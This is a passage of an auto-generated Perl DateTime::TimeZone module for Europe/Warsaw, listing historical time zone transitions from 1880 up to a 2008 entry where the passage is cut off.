# This file is auto-generated by the Perl DateTime Suite time zone # code generator (0.07) This code generator comes with the # DateTime::TimeZone module distribution in the tools/ directory # # Generated from /tmp/Q713JNUf8G/europe. Olson data version 2016a # # Do not edit this file directly. # package DateTime::TimeZone::Europe::Warsaw; $DateTime::TimeZone::Europe::Warsaw::VERSION = '1.95'; use strict; use Class::Singleton 1.03; use DateTime::TimeZone; use DateTime::TimeZone::OlsonDB; @DateTime::TimeZone::Europe::Warsaw::ISA = ( 'Class::Singleton', 'DateTime::TimeZone' ); my $spans = [ [ DateTime::TimeZone::NEG_INFINITY, # utc_start 59295537360, # utc_end 1879-12-31 22:36:00 (Wed) DateTime::TimeZone::NEG_INFINITY, # local_start 59295542400, # local_end 1880-01-01 00:00:00 (Thu) 5040, 0, 'LMT', ], [ 59295537360, # utc_start 1879-12-31 22:36:00 (Wed) 60418650960, # utc_end 1915-08-04 22:36:00 (Wed) 59295542400, # local_start 1880-01-01 00:00:00 (Thu) 60418656000, # local_end 1915-08-05 00:00:00 (Thu) 5040, 0, 'WMT', ], [ 60418650960, # utc_start 1915-08-04 22:36:00 (Wed) 60441976800, # utc_end 1916-04-30 22:00:00 (Sun) 60418654560, # local_start 1915-08-04 23:36:00 (Wed) 60441980400, # local_end 1916-04-30 23:00:00 (Sun) 3600, 0, 'CET', ], [ 60441976800, # utc_start 1916-04-30 22:00:00 (Sun) 60455199600, # utc_end 1916-09-30 23:00:00 (Sat) 60441984000, # local_start 1916-05-01 00:00:00 (Mon) 60455206800, # local_end 1916-10-01 01:00:00 (Sun) 7200, 1, 'CEST', ], [ 60455199600, # utc_start 1916-09-30 23:00:00 (Sat) 60472227600, # utc_end 1917-04-16 01:00:00 (Mon) 60455203200, # local_start 1916-10-01 00:00:00 (Sun) 60472231200, # local_end 1917-04-16 02:00:00 (Mon) 3600, 0, 'CET', ], [ 60472227600, # utc_start 1917-04-16 01:00:00 (Mon) 60485533200, # utc_end 1917-09-17 01:00:00 (Mon) 60472234800, # local_start 1917-04-16 03:00:00 (Mon) 60485540400, # local_end 1917-09-17 03:00:00 (Mon) 7200, 1, 'CEST', ], [ 60485533200, # utc_start 1917-09-17 01:00:00 (Mon) 60503677200, # utc_end 1918-04-15 01:00:00 (Mon) 60485536800, # local_start 1917-09-17 02:00:00 (Mon) 60503680800, # local_end 1918-04-15 02:00:00 (Mon) 3600, 0, 'CET', ], [ 60503677200, # utc_start 1918-04-15 01:00:00 (Mon) 60516982800, # utc_end 1918-09-16 01:00:00 (Mon) 60503684400, # local_start 1918-04-15 03:00:00 (Mon) 60516990000, # local_end 1918-09-16 03:00:00 (Mon) 7200, 1, 'CEST', ], [ 60516982800, # utc_start 1918-09-16 01:00:00 (Mon) 60535209600, # utc_end 1919-04-15 00:00:00 (Tue) 60516990000, # local_start 1918-09-16 03:00:00 (Mon) 60535216800, # local_end 1919-04-15 02:00:00 (Tue) 7200, 0, 'EET', ], [ 60535209600, # utc_start 1919-04-15 00:00:00 (Tue) 60548515200, # utc_end 1919-09-16 00:00:00 (Tue) 60535220400, # local_start 1919-04-15 03:00:00 (Tue) 60548526000, # local_end 1919-09-16 03:00:00 (Tue) 10800, 1, 'EEST', ], [ 60548515200, # utc_start 1919-09-16 00:00:00 (Tue) 60633957600, # utc_end 1922-05-31 22:00:00 (Wed) 60548522400, # local_start 1919-09-16 02:00:00 (Tue) 60633964800, # local_end 1922-06-01 00:00:00 (Thu) 7200, 0, 'EET', ], [ 60633957600, # utc_start 1922-05-31 22:00:00 (Wed) 61203949200, # utc_end 1940-06-23 01:00:00 (Sun) 60633961200, # local_start 1922-05-31 23:00:00 (Wed) 61203952800, # local_end 1940-06-23 02:00:00 (Sun) 3600, 0, 'CET', ], [ 61203949200, # utc_start 1940-06-23 01:00:00 (Sun) 61278426000, # utc_end 1942-11-02 01:00:00 (Mon) 61203956400, # local_start 1940-06-23 03:00:00 (Sun) 61278433200, # local_end 1942-11-02 03:00:00 (Mon) 7200, 1, 'CEST', ], [ 61278426000, # utc_start 1942-11-02 01:00:00 (Mon) 61291126800, # utc_end 1943-03-29 01:00:00 (Mon) 61278429600, # local_start 1942-11-02 02:00:00 (Mon) 61291130400, # local_end 1943-03-29 02:00:00 (Mon) 3600, 0, 'CET', ], [ 61291126800, # utc_start 1943-03-29 01:00:00 (Mon) 61307456400, # utc_end 1943-10-04 01:00:00 (Mon) 61291134000, # local_start 1943-03-29 03:00:00 (Mon) 61307463600, # local_end 1943-10-04 03:00:00 (Mon) 7200, 1, 'CEST', ], [ 61307456400, # utc_start 1943-10-04 01:00:00 (Mon) 61323181200, # utc_end 1944-04-03 01:00:00 (Mon) 61307460000, # local_start 1943-10-04 02:00:00 (Mon) 61323184800, # local_end 1944-04-03 02:00:00 (Mon) 3600, 0, 'CET', ], [ 61323181200, # utc_start 1944-04-03 01:00:00 (Mon) 61338808800, # utc_end 1944-09-30 22:00:00 (Sat) 61323188400, # local_start 1944-04-03 03:00:00 (Mon) 61338816000, # local_end 1944-10-01 00:00:00 (Sun) 7200, 1, 'CEST', ], [ 61338808800, # utc_start 1944-09-30 22:00:00 (Sat) 61339075200, # utc_end 1944-10-04 00:00:00 (Wed) 61338816000, # local_start 1944-10-01 00:00:00 (Sun) 61339082400, # local_end 1944-10-04 02:00:00 (Wed) 7200, 1, 'CEST', ], [ 61339075200, # utc_start 1944-10-04 00:00:00 (Wed) 61356956400, # utc_end 1945-04-28 23:00:00 (Sat) 61339078800, # local_start 1944-10-04 01:00:00 (Wed) 61356960000, # local_end 1945-04-29 00:00:00 (Sun) 3600, 0, 'CET', ], [ 61356956400, # utc_start 1945-04-28 23:00:00 (Sat) 61373023200, # utc_end 1945-10-31 22:00:00 (Wed) 61356963600, # local_start 1945-04-29 01:00:00 (Sun) 61373030400, # local_end 1945-11-01 00:00:00 (Thu) 7200, 1, 'CEST', ], [ 61373023200, # utc_start 1945-10-31 22:00:00 (Wed) 61387196400, # utc_end 1946-04-13 23:00:00 (Sat) 61373026800, # local_start 1945-10-31 23:00:00 (Wed) 61387200000, # local_end 1946-04-14 00:00:00 (Sun) 3600, 0, 'CET', ], [ 61387196400, # utc_start 1946-04-13 23:00:00 (Sat) 61402410000, # utc_end 1946-10-07 01:00:00 (Mon) 61387203600, # local_start 1946-04-14 01:00:00 (Sun) 61402417200, # local_end 1946-10-07 03:00:00 (Mon) 7200, 1, 'CEST', ], [ 61402410000, # utc_start 1946-10-07 01:00:00 (Mon) 61420467600, # utc_end 1947-05-04 01:00:00 (Sun) 61402413600, # local_start 1946-10-07 02:00:00 (Mon) 61420471200, # local_end 1947-05-04 02:00:00 (Sun) 3600, 0, 'CET', ], [ 61420467600, # utc_start 1947-05-04 01:00:00 (Sun) 61433773200, # utc_end 1947-10-05 01:00:00 (Sun) 61420474800, # local_start 1947-05-04 03:00:00 (Sun) 61433780400, # local_end 1947-10-05 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 61433773200, # utc_start 1947-10-05 01:00:00 (Sun) 61450707600, # utc_end 1948-04-18 01:00:00 (Sun) 61433776800, # local_start 1947-10-05 02:00:00 (Sun) 61450711200, # local_end 1948-04-18 02:00:00 (Sun) 3600, 0, 'CET', ], [ 61450707600, # utc_start 1948-04-18 01:00:00 (Sun) 61465222800, # utc_end 1948-10-03 01:00:00 (Sun) 61450714800, # local_start 1948-04-18 03:00:00 (Sun) 61465230000, # local_end 1948-10-03 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 61465222800, # utc_start 1948-10-03 01:00:00 (Sun) 61481552400, # utc_end 1949-04-10 01:00:00 (Sun) 61465226400, # local_start 1948-10-03 02:00:00 (Sun) 61481556000, # local_end 1949-04-10 02:00:00 (Sun) 3600, 0, 'CET', ], [ 61481552400, # utc_start 1949-04-10 01:00:00 (Sun) 61496672400, # utc_end 1949-10-02 01:00:00 (Sun) 61481559600, # local_start 1949-04-10 03:00:00 (Sun) 61496679600, # local_end 1949-10-02 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 61496672400, # utc_start 1949-10-02 01:00:00 (Sun) 61738588800, # utc_end 1957-06-02 00:00:00 (Sun) 61496676000, # local_start 1949-10-02 02:00:00 (Sun) 61738592400, # local_end 1957-06-02 01:00:00 (Sun) 3600, 0, 'CET', ], [ 61738588800, # utc_start 1957-06-02 00:00:00 (Sun) 61748870400, # utc_end 1957-09-29 00:00:00 (Sun) 61738596000, # local_start 1957-06-02 02:00:00 (Sun) 61748877600, # local_end 1957-09-29 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 61748870400, # utc_start 1957-09-29 00:00:00 (Sun) 61764595200, # utc_end 1958-03-30 00:00:00 (Sun) 61748874000, # local_start 1957-09-29 01:00:00 (Sun) 61764598800, # local_end 1958-03-30 01:00:00 (Sun) 3600, 0, 'CET', ], [ 61764595200, # utc_start 1958-03-30 00:00:00 (Sun) 61780320000, # utc_end 1958-09-28 00:00:00 (Sun) 61764602400, # local_start 1958-03-30 02:00:00 (Sun) 61780327200, # local_end 1958-09-28 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 61780320000, # utc_start 1958-09-28 00:00:00 (Sun) 61801488000, # utc_end 1959-05-31 00:00:00 (Sun) 61780323600, # local_start 1958-09-28 01:00:00 (Sun) 61801491600, # local_end 1959-05-31 01:00:00 (Sun) 3600, 0, 'CET', ], [ 61801488000, # utc_start 1959-05-31 00:00:00 (Sun) 61812374400, # utc_end 1959-10-04 00:00:00 (Sun) 61801495200, # local_start 1959-05-31 02:00:00 (Sun) 61812381600, # local_end 1959-10-04 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 61812374400, # utc_start 1959-10-04 00:00:00 (Sun) 61828099200, # utc_end 1960-04-03 00:00:00 (Sun) 61812378000, # local_start 1959-10-04 01:00:00 (Sun) 61828102800, # local_end 1960-04-03 01:00:00 (Sun) 3600, 0, 'CET', ], [ 61828099200, # utc_start 1960-04-03 00:00:00 (Sun) 61843824000, # utc_end 1960-10-02 00:00:00 (Sun) 61828106400, # local_start 1960-04-03 02:00:00 (Sun) 61843831200, # local_end 1960-10-02 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 61843824000, # utc_start 1960-10-02 00:00:00 (Sun) 61864387200, # utc_end 1961-05-28 00:00:00 (Sun) 61843827600, # local_start 1960-10-02 01:00:00 (Sun) 61864390800, # local_end 1961-05-28 01:00:00 (Sun) 3600, 0, 'CET', ], [ 61864387200, # utc_start 1961-05-28 00:00:00 (Sun) 61875273600, # utc_end 1961-10-01 00:00:00 (Sun) 61864394400, # local_start 1961-05-28 02:00:00 (Sun) 61875280800, # local_end 1961-10-01 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 61875273600, # utc_start 1961-10-01 00:00:00 (Sun) 61895836800, # utc_end 1962-05-27 00:00:00 (Sun) 61875277200, # local_start 1961-10-01 01:00:00 (Sun) 61895840400, # local_end 1962-05-27 01:00:00 (Sun) 3600, 0, 'CET', ], [ 61895836800, # utc_start 1962-05-27 00:00:00 (Sun) 61906723200, # utc_end 1962-09-30 00:00:00 (Sun) 61895844000, # local_start 1962-05-27 02:00:00 (Sun) 61906730400, # local_end 1962-09-30 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 61906723200, # utc_start 1962-09-30 00:00:00 (Sun) 61927286400, # utc_end 1963-05-26 00:00:00 (Sun) 61906726800, # local_start 1962-09-30 01:00:00 (Sun) 61927290000, # local_end 1963-05-26 01:00:00 (Sun) 3600, 0, 'CET', ], [ 61927286400, # utc_start 1963-05-26 00:00:00 (Sun) 61938172800, # utc_end 1963-09-29 00:00:00 (Sun) 61927293600, # local_start 1963-05-26 02:00:00 (Sun) 61938180000, # local_end 1963-09-29 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 61938172800, # utc_start 1963-09-29 00:00:00 (Sun) 61959340800, # utc_end 1964-05-31 00:00:00 (Sun) 61938176400, # local_start 1963-09-29 01:00:00 (Sun) 61959344400, # local_end 1964-05-31 01:00:00 (Sun) 3600, 0, 'CET', ], [ 61959340800, # utc_start 1964-05-31 00:00:00 (Sun) 61969622400, # utc_end 1964-09-27 00:00:00 (Sun) 61959348000, # local_start 1964-05-31 02:00:00 (Sun) 61969629600, # local_end 1964-09-27 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 61969622400, # utc_start 1964-09-27 00:00:00 (Sun) 62356604400, # utc_end 1976-12-31 23:00:00 (Fri) 61969626000, # local_start 1964-09-27 01:00:00 (Sun) 62356608000, # local_end 1977-01-01 00:00:00 (Sat) 3600, 0, 'CET', ], [ 62356604400, # utc_start 1976-12-31 23:00:00 (Fri) 62364556800, # utc_end 1977-04-03 00:00:00 (Sun) 62356608000, # local_start 1977-01-01 00:00:00 (Sat) 62364560400, # local_end 1977-04-03 01:00:00 (Sun) 3600, 0, 'CET', ], [ 62364556800, # utc_start 1977-04-03 00:00:00 (Sun) 62379676800, # utc_end 1977-09-25 00:00:00 (Sun) 62364564000, # local_start 1977-04-03 02:00:00 (Sun) 62379684000, # local_end 1977-09-25 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 62379676800, # utc_start 1977-09-25 00:00:00 (Sun) 62396006400, # utc_end 1978-04-02 00:00:00 (Sun) 62379680400, # local_start 1977-09-25 01:00:00 (Sun) 62396010000, # local_end 1978-04-02 01:00:00 (Sun) 3600, 0, 'CET', ], [ 62396006400, # utc_start 1978-04-02 00:00:00 (Sun) 62411731200, # utc_end 1978-10-01 00:00:00 (Sun) 62396013600, # local_start 1978-04-02 02:00:00 (Sun) 62411738400, # local_end 1978-10-01 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 62411731200, # utc_start 1978-10-01 00:00:00 (Sun) 62427456000, # utc_end 1979-04-01 00:00:00 (Sun) 62411734800, # local_start 1978-10-01 01:00:00 (Sun) 62427459600, # local_end 1979-04-01 01:00:00 (Sun) 3600, 0, 'CET', ], [ 62427456000, # utc_start 1979-04-01 00:00:00 (Sun) 62443180800, # utc_end 1979-09-30 00:00:00 (Sun) 62427463200, # local_start 1979-04-01 02:00:00 (Sun) 62443188000, # local_end 1979-09-30 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 62443180800, # utc_start 1979-09-30 00:00:00 (Sun) 62459510400, # utc_end 1980-04-06 00:00:00 (Sun) 62443184400, # local_start 1979-09-30 01:00:00 (Sun) 62459514000, # local_end 1980-04-06 01:00:00 (Sun) 3600, 0, 'CET', ], [ 62459510400, # utc_start 1980-04-06 00:00:00 (Sun) 62474630400, # utc_end 1980-09-28 00:00:00 (Sun) 62459517600, # local_start 1980-04-06 02:00:00 (Sun) 62474637600, # local_end 1980-09-28 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 62474630400, # utc_start 1980-09-28 00:00:00 (Sun) 62490355200, # utc_end 1981-03-29 00:00:00 (Sun) 62474634000, # local_start 1980-09-28 01:00:00 (Sun) 62490358800, # local_end 1981-03-29 01:00:00 (Sun) 3600, 0, 'CET', ], [ 62490355200, # utc_start 1981-03-29 00:00:00 (Sun) 62506080000, # utc_end 1981-09-27 00:00:00 (Sun) 62490362400, # local_start 1981-03-29 02:00:00 (Sun) 62506087200, # local_end 1981-09-27 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 62506080000, # utc_start 1981-09-27 00:00:00 (Sun) 62521804800, # utc_end 1982-03-28 00:00:00 (Sun) 62506083600, # local_start 1981-09-27 01:00:00 (Sun) 62521808400, # local_end 1982-03-28 01:00:00 (Sun) 3600, 0, 'CET', ], [ 62521804800, # utc_start 1982-03-28 00:00:00 (Sun) 62537529600, # utc_end 1982-09-26 00:00:00 (Sun) 62521812000, # local_start 1982-03-28 02:00:00 (Sun) 62537536800, # local_end 1982-09-26 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 62537529600, # utc_start 1982-09-26 00:00:00 (Sun) 62553254400, # utc_end 1983-03-27 00:00:00 (Sun) 62537533200, # local_start 1982-09-26 01:00:00 (Sun) 62553258000, # local_end 1983-03-27 01:00:00 (Sun) 3600, 0, 'CET', ], [ 62553254400, # utc_start 1983-03-27 00:00:00 (Sun) 62568979200, # utc_end 1983-09-25 00:00:00 (Sun) 62553261600, # local_start 1983-03-27 02:00:00 (Sun) 62568986400, # local_end 1983-09-25 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 62568979200, # utc_start 1983-09-25 00:00:00 (Sun) 62584704000, # utc_end 1984-03-25 00:00:00 (Sun) 62568982800, # local_start 1983-09-25 01:00:00 (Sun) 62584707600, # local_end 1984-03-25 01:00:00 (Sun) 3600, 0, 'CET', ], [ 62584704000, # utc_start 1984-03-25 00:00:00 (Sun) 62601033600, # utc_end 1984-09-30 00:00:00 (Sun) 62584711200, # local_start 1984-03-25 02:00:00 (Sun) 62601040800, # local_end 1984-09-30 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 62601033600, # utc_start 1984-09-30 00:00:00 (Sun) 62616758400, # utc_end 1985-03-31 00:00:00 (Sun) 62601037200, # local_start 1984-09-30 01:00:00 (Sun) 62616762000, # local_end 1985-03-31 01:00:00 (Sun) 3600, 0, 'CET', ], [ 62616758400, # utc_start 1985-03-31 00:00:00 (Sun) 62632483200, # utc_end 1985-09-29 00:00:00 (Sun) 62616765600, # local_start 1985-03-31 02:00:00 (Sun) 62632490400, # local_end 1985-09-29 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 62632483200, # utc_start 1985-09-29 00:00:00 (Sun) 62648208000, # utc_end 1986-03-30 00:00:00 (Sun) 62632486800, # local_start 1985-09-29 01:00:00 (Sun) 62648211600, # local_end 1986-03-30 01:00:00 (Sun) 3600, 0, 'CET', ], [ 62648208000, # utc_start 1986-03-30 00:00:00 (Sun) 62663932800, # utc_end 1986-09-28 00:00:00 (Sun) 62648215200, # local_start 1986-03-30 02:00:00 (Sun) 62663940000, # local_end 1986-09-28 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 62663932800, # utc_start 1986-09-28 00:00:00 (Sun) 62679657600, # utc_end 1987-03-29 00:00:00 (Sun) 62663936400, # local_start 1986-09-28 01:00:00 (Sun) 62679661200, # local_end 1987-03-29 01:00:00 (Sun) 3600, 0, 'CET', ], [ 62679657600, # utc_start 1987-03-29 00:00:00 (Sun) 62695382400, # utc_end 1987-09-27 00:00:00 (Sun) 62679664800, # local_start 1987-03-29 02:00:00 (Sun) 62695389600, # local_end 1987-09-27 02:00:00 (Sun) 7200, 1, 'CEST', ], [ 62695382400, # utc_start 1987-09-27 00:00:00 (Sun) 62703673200, # utc_end 1987-12-31 23:00:00 (Thu) 62695386000, # local_start 1987-09-27 01:00:00 (Sun) 62703676800, # local_end 1988-01-01 00:00:00 (Fri) 3600, 0, 'CET', ], [ 62703673200, # utc_start 1987-12-31 23:00:00 (Thu) 62711110800, # utc_end 1988-03-27 01:00:00 (Sun) 62703676800, # local_start 1988-01-01 00:00:00 (Fri) 62711114400, # local_end 1988-03-27 02:00:00 (Sun) 3600, 0, 'CET', ], [ 62711110800, # utc_start 1988-03-27 01:00:00 (Sun) 62726835600, # utc_end 1988-09-25 01:00:00 (Sun) 62711118000, # local_start 1988-03-27 03:00:00 (Sun) 62726842800, # local_end 1988-09-25 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 62726835600, # utc_start 1988-09-25 01:00:00 (Sun) 62742560400, # utc_end 1989-03-26 01:00:00 (Sun) 62726839200, # local_start 1988-09-25 02:00:00 (Sun) 62742564000, # local_end 1989-03-26 02:00:00 (Sun) 3600, 0, 'CET', ], [ 62742560400, # utc_start 1989-03-26 01:00:00 (Sun) 62758285200, # utc_end 1989-09-24 01:00:00 (Sun) 62742567600, # local_start 1989-03-26 03:00:00 (Sun) 62758292400, # local_end 1989-09-24 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 62758285200, # utc_start 1989-09-24 01:00:00 (Sun) 62774010000, # utc_end 1990-03-25 01:00:00 (Sun) 62758288800, # local_start 1989-09-24 02:00:00 (Sun) 62774013600, # local_end 1990-03-25 02:00:00 (Sun) 3600, 0, 'CET', ], [ 62774010000, # utc_start 1990-03-25 01:00:00 (Sun) 62790339600, # utc_end 1990-09-30 01:00:00 (Sun) 62774017200, # local_start 1990-03-25 03:00:00 (Sun) 62790346800, # local_end 1990-09-30 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 62790339600, # utc_start 1990-09-30 01:00:00 (Sun) 62806064400, # utc_end 1991-03-31 01:00:00 (Sun) 62790343200, # local_start 1990-09-30 02:00:00 (Sun) 62806068000, # local_end 1991-03-31 02:00:00 (Sun) 3600, 0, 'CET', ], [ 62806064400, # utc_start 1991-03-31 01:00:00 (Sun) 62821789200, # utc_end 1991-09-29 01:00:00 (Sun) 62806071600, # local_start 1991-03-31 03:00:00 (Sun) 62821796400, # local_end 1991-09-29 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 62821789200, # utc_start 1991-09-29 01:00:00 (Sun) 62837514000, # utc_end 1992-03-29 01:00:00 (Sun) 62821792800, # local_start 1991-09-29 02:00:00 (Sun) 62837517600, # local_end 1992-03-29 02:00:00 (Sun) 3600, 0, 'CET', ], [ 62837514000, # utc_start 1992-03-29 01:00:00 (Sun) 62853238800, # utc_end 1992-09-27 01:00:00 (Sun) 62837521200, # local_start 1992-03-29 03:00:00 (Sun) 62853246000, # local_end 1992-09-27 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 62853238800, # utc_start 1992-09-27 01:00:00 (Sun) 62868963600, # utc_end 1993-03-28 01:00:00 (Sun) 62853242400, # local_start 1992-09-27 02:00:00 (Sun) 62868967200, # local_end 1993-03-28 02:00:00 (Sun) 3600, 0, 'CET', ], [ 62868963600, # utc_start 1993-03-28 01:00:00 (Sun) 62884688400, # utc_end 1993-09-26 01:00:00 (Sun) 62868970800, # local_start 1993-03-28 03:00:00 (Sun) 62884695600, # local_end 1993-09-26 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 62884688400, # utc_start 1993-09-26 01:00:00 (Sun) 62900413200, # utc_end 1994-03-27 01:00:00 (Sun) 62884692000, # local_start 1993-09-26 02:00:00 (Sun) 62900416800, # local_end 1994-03-27 02:00:00 (Sun) 3600, 0, 'CET', ], [ 62900413200, # utc_start 1994-03-27 01:00:00 (Sun) 62916138000, # utc_end 1994-09-25 01:00:00 (Sun) 62900420400, # local_start 1994-03-27 03:00:00 (Sun) 62916145200, # local_end 1994-09-25 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 62916138000, # utc_start 1994-09-25 01:00:00 (Sun) 62931862800, # utc_end 1995-03-26 01:00:00 (Sun) 62916141600, # local_start 1994-09-25 02:00:00 (Sun) 62931866400, # local_end 1995-03-26 02:00:00 (Sun) 3600, 0, 'CET', ], [ 62931862800, # utc_start 1995-03-26 01:00:00 (Sun) 62947587600, # utc_end 1995-09-24 01:00:00 (Sun) 62931870000, # local_start 1995-03-26 03:00:00 (Sun) 62947594800, # local_end 1995-09-24 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 62947587600, # utc_start 1995-09-24 01:00:00 (Sun) 62963917200, # utc_end 1996-03-31 01:00:00 (Sun) 62947591200, # local_start 1995-09-24 02:00:00 (Sun) 62963920800, # local_end 1996-03-31 02:00:00 (Sun) 3600, 0, 'CET', ], [ 62963917200, # utc_start 1996-03-31 01:00:00 (Sun) 62982061200, # utc_end 1996-10-27 01:00:00 (Sun) 62963924400, # local_start 1996-03-31 03:00:00 (Sun) 62982068400, # local_end 1996-10-27 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 62982061200, # utc_start 1996-10-27 01:00:00 (Sun) 62995366800, # utc_end 1997-03-30 01:00:00 (Sun) 62982064800, # local_start 1996-10-27 02:00:00 (Sun) 62995370400, # local_end 1997-03-30 02:00:00 (Sun) 3600, 0, 'CET', ], [ 62995366800, # utc_start 1997-03-30 01:00:00 (Sun) 63013510800, # utc_end 1997-10-26 01:00:00 (Sun) 62995374000, # local_start 1997-03-30 03:00:00 (Sun) 63013518000, # local_end 1997-10-26 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63013510800, # utc_start 1997-10-26 01:00:00 (Sun) 63026816400, # utc_end 1998-03-29 01:00:00 (Sun) 63013514400, # local_start 1997-10-26 02:00:00 (Sun) 63026820000, # local_end 1998-03-29 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63026816400, # utc_start 1998-03-29 01:00:00 (Sun) 63044960400, # utc_end 1998-10-25 01:00:00 (Sun) 63026823600, # local_start 1998-03-29 03:00:00 (Sun) 63044967600, # local_end 1998-10-25 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63044960400, # utc_start 1998-10-25 01:00:00 (Sun) 63058266000, # utc_end 1999-03-28 01:00:00 (Sun) 63044964000, # local_start 1998-10-25 02:00:00 (Sun) 63058269600, # local_end 1999-03-28 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63058266000, # utc_start 1999-03-28 01:00:00 (Sun) 63077014800, # utc_end 1999-10-31 01:00:00 (Sun) 63058273200, # local_start 1999-03-28 03:00:00 (Sun) 63077022000, # local_end 1999-10-31 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63077014800, # utc_start 1999-10-31 01:00:00 (Sun) 63089715600, # utc_end 2000-03-26 01:00:00 (Sun) 63077018400, # local_start 1999-10-31 02:00:00 (Sun) 63089719200, # local_end 2000-03-26 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63089715600, # utc_start 2000-03-26 01:00:00 (Sun) 63108464400, # utc_end 2000-10-29 01:00:00 (Sun) 63089722800, # local_start 2000-03-26 03:00:00 (Sun) 63108471600, # local_end 2000-10-29 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63108464400, # utc_start 2000-10-29 01:00:00 (Sun) 63121165200, # utc_end 2001-03-25 01:00:00 (Sun) 63108468000, # local_start 2000-10-29 02:00:00 (Sun) 63121168800, # local_end 2001-03-25 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63121165200, # utc_start 2001-03-25 01:00:00 (Sun) 63139914000, # utc_end 2001-10-28 01:00:00 (Sun) 63121172400, # local_start 2001-03-25 03:00:00 (Sun) 63139921200, # local_end 2001-10-28 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63139914000, # utc_start 2001-10-28 01:00:00 (Sun) 63153219600, # utc_end 2002-03-31 01:00:00 (Sun) 63139917600, # local_start 2001-10-28 02:00:00 (Sun) 63153223200, # local_end 2002-03-31 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63153219600, # utc_start 2002-03-31 01:00:00 (Sun) 63171363600, # utc_end 2002-10-27 01:00:00 (Sun) 63153226800, # local_start 2002-03-31 03:00:00 (Sun) 63171370800, # local_end 2002-10-27 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63171363600, # utc_start 2002-10-27 01:00:00 (Sun) 63184669200, # utc_end 2003-03-30 01:00:00 (Sun) 63171367200, # local_start 2002-10-27 02:00:00 (Sun) 63184672800, # local_end 2003-03-30 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63184669200, # utc_start 2003-03-30 01:00:00 (Sun) 63202813200, # utc_end 2003-10-26 01:00:00 (Sun) 63184676400, # local_start 2003-03-30 03:00:00 (Sun) 63202820400, # local_end 2003-10-26 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63202813200, # utc_start 2003-10-26 01:00:00 (Sun) 63216118800, # utc_end 2004-03-28 01:00:00 (Sun) 63202816800, # local_start 2003-10-26 02:00:00 (Sun) 63216122400, # local_end 2004-03-28 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63216118800, # utc_start 2004-03-28 01:00:00 (Sun) 63234867600, # utc_end 2004-10-31 01:00:00 (Sun) 63216126000, # local_start 2004-03-28 03:00:00 (Sun) 63234874800, # local_end 2004-10-31 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63234867600, # utc_start 2004-10-31 01:00:00 (Sun) 63247568400, # utc_end 2005-03-27 01:00:00 (Sun) 63234871200, # local_start 2004-10-31 02:00:00 (Sun) 63247572000, # local_end 2005-03-27 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63247568400, # utc_start 2005-03-27 01:00:00 (Sun) 63266317200, # utc_end 2005-10-30 01:00:00 (Sun) 63247575600, # local_start 2005-03-27 03:00:00 (Sun) 63266324400, # local_end 2005-10-30 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63266317200, # utc_start 2005-10-30 01:00:00 (Sun) 63279018000, # utc_end 2006-03-26 01:00:00 (Sun) 63266320800, # local_start 2005-10-30 02:00:00 (Sun) 63279021600, # local_end 2006-03-26 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63279018000, # utc_start 2006-03-26 01:00:00 (Sun) 63297766800, # utc_end 2006-10-29 01:00:00 (Sun) 63279025200, # local_start 2006-03-26 03:00:00 (Sun) 63297774000, # local_end 2006-10-29 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63297766800, # utc_start 2006-10-29 01:00:00 (Sun) 63310467600, # utc_end 2007-03-25 01:00:00 (Sun) 63297770400, # local_start 2006-10-29 02:00:00 (Sun) 63310471200, # local_end 2007-03-25 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63310467600, # utc_start 2007-03-25 01:00:00 (Sun) 63329216400, # utc_end 2007-10-28 01:00:00 (Sun) 63310474800, # local_start 2007-03-25 03:00:00 (Sun) 63329223600, # local_end 2007-10-28 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63329216400, # utc_start 2007-10-28 01:00:00 (Sun) 63342522000, # utc_end 2008-03-30 01:00:00 (Sun) 63329220000, # local_start 2007-10-28 02:00:00 (Sun) 63342525600, # local_end 2008-03-30 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63342522000, # utc_start 2008-03-30 01:00:00 (Sun) 63360666000, # utc_end 2008-10-26 01:00:00 (Sun) 63342529200, # local_start 